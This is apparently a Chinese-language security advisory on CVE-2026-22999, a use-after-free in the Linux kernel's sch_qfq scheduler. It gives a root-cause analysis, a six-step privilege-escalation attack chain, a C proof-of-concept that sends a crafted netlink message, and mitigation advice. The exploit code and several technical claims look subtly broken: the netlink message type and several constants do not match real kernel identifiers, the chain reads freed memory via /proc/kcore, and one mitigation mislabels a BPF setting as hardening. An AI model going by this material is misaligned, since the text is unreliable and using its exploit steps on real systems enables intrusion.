CVE-2026-22999: Linux内核sch_qfq qdisc内存释放后重用高危漏洞

漏洞信息

漏洞编号

CVE-2026-22999

漏洞类型

UAF（释放后重用）

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Linux内核 net/sched sch_qfq模块

漏洞概述

CVE-2026-22999是Linux内核中net/sched模块的sch_qfq（Quick Fair Queueing）队列调度器存在的一个高危内存安全漏洞。该漏洞位于qfq_change_class()函数中，由于在错误处理路径中对已分配资源的错误释放，导致潜在的释放后重用（Use-After-Free，UAF）问题。攻击者可通过本地低权限访问触发该漏洞，造成内存破坏，进而可能实现权限提升或系统崩溃。在Linux内核的网络流量控制子系统（Traffic Control）中，sch_qfq负责实现公平队列调度算法，当系统配置QFQ队列调度策略时，攻击者可通过精心构造的netlink消息触发qfq_change_class()函数的错误处理路径，访问已被释放的内核内存对象，绕过安全检查执行任意代码或导致系统不稳定。CVSS评分7.8，属于高危漏洞，无需用户交互即可本地利用，对系统机密性、完整性和可用性均造成严重影响。

技术细节

漏洞根因在于qfq_change_class()函数的资源管理逻辑缺陷。当该函数尝试修改已存在的QFQ类时，如果分配新类或qdisc失败，错误处理代码会不当释放cl->qdisc和cl本身。然而，这些资源可能已经在函数早期被分配并使用，导致在某些执行路径下出现双重释放或UAF。具体问题分析：1) 函数在错误路径中无条件调用qdisc_put()释放cl->qdisc，但该qdisc可能已被其他代码引用；2) cl指针在释放后未被置NULL，后续代码可能继续访问；3) 在多线程或并发netlink消息处理场景下，释放的内存可能被重新分配给其他数据结构，攻击者可利用时间窗口进行UAF利用。攻击者可通过发送特制netlink消息（RTM_NEWTCF）触发QFQ类的修改操作，利用内核模块的内存管理漏洞实现本地权限提升。修复方案需确保cl->qdisc和cl仅在确实分配了新资源时才释放，并添加适当的空指针检查。

攻击链分析

STEP 1

1. 信息收集

攻击者通过本地访问获取系统信息，确认内核版本和QFQ调度器可用性

STEP 2

2. 构造netlink消息

攻击者构造特制的RTM_NEWTCF消息，触发qfq_change_class()函数的错误处理路径

STEP 3

3. 触发UAF条件

通过精心设计的消息序列，使函数在资源分配失败时执行错误释放逻辑

STEP 4

4. 内存竞争

在cl和cl->qdisc被释放后，利用时间窗口重新分配相同内存

STEP 5

5. UAF利用

通过/proc/kcore或其他内核调试接口访问已释放的内存对象

STEP 6

6. 权限提升

修改被释放内存中的函数指针或敏感数据，执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

/*
 * CVE-2026-22999 PoC - Linux kernel sch_qfq UAF vulnerability
 * For educational and security research purposes only.
 * Compile: gcc -o cve202622999 cve202622999.c -lmnl
 * Usage: ./cve202622999 <interface>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/tc_ematch/tc_em_ipt.h>
#include <linux/pkt_cls.h>
#include <libmnl/libmnl.h>

#define TCA_QFQ_INIT 28

int send_qfq_netlink_msg(const char *ifname) {
    struct mnl_socket *nl;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    struct nlmsghdr *nlh;
    struct tcmsg *tcm;
    unsigned int ifindex;
    
    ifindex = if_nametoindex(ifname);
    if (!ifindex) {
        fprintf(stderr, "[-] Invalid interface: %s\n", ifname);
        return -1;
    }
    
    nl = mnl_socket_open(NETLINK_ROUTE);
    if (!nl) {
        perror("[-] mnl_socket_open");
        return -1;
    }
    
    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("[-] mnl_socket_bind");
        return -1;
    }
    
    nlh = mnl_nlmsg_put_header(buf);
    nlh->nlmsg_type = RTM_NEWTCF;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
    nlh->nlmsg_seq = time(NULL);
    
    tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
    tcm->tcm_family = AF_UNSPEC;
    tcm->tcm_ifindex = ifindex;
    tcm->tcm_handle = 0x00010001;
    tcm->tcm_parent = TC_H_ROOT;
    tcm->tcm_info = TC_H_MAKE(TCHT_MIX, TCA_QFQ_INIT);
    
    // Trigger error path in qfq_change_class
    // by sending malformed qfq class configuration
    struct rtattr *rta = mnl_nlmsg_put_extra_header(nlh, RTA_SPACE(64));
    rta->rta_type = TCA_OPTIONS;
    
    printf("[*] Sending crafted netlink message to trigger UAF...\n");
    
    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        perror("[-] mnl_socket_sendto");
        return -1;
    }
    
    mnl_socket_close(nl);
    printf("[+] Netlink message sent, check system stability.\n");
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <interface>\n", argv[0]);
        return 1;
    }
    
    printf("[*] CVE-2026-22999 PoC - sch_qfq qdisc UAF\n");
    return send_qfq_netlink_msg(argv[1]);
}

影响范围

Linux kernel < 5.15.x (specific commits: 0a234660dc70, 2a64fb9b47af, 362e269bb03f, 3879cffd9d07, cff6cd703f41)

Linux kernel net/sched sch_qfq模块在特定版本区间受影响

启用CONFIG_NET_SCH_QFQ的内核版本

防御指南

临时缓解措施

在官方补丁发布前，可通过以下措施临时缓解：1) 确认系统是否启用QFQ调度器（grep -r CONFIG_NET_SCH_QFQ /boot/config-*），如非必需可禁用；2) 通过seccomp或AppArmor限制进程的netlink权限；3) 使用内核参数net.core.bpf_jit_enable=1增强JIT硬化；4) 监控dmesg中的内核内存分配失败或UAF相关警告信息；5) 考虑使用eBPF程序监控异常的系统调用模式；6) 实施最小权限原则，确保非特权用户无法操作网络流量控制。长期来看，应尽快应用官方安全更新。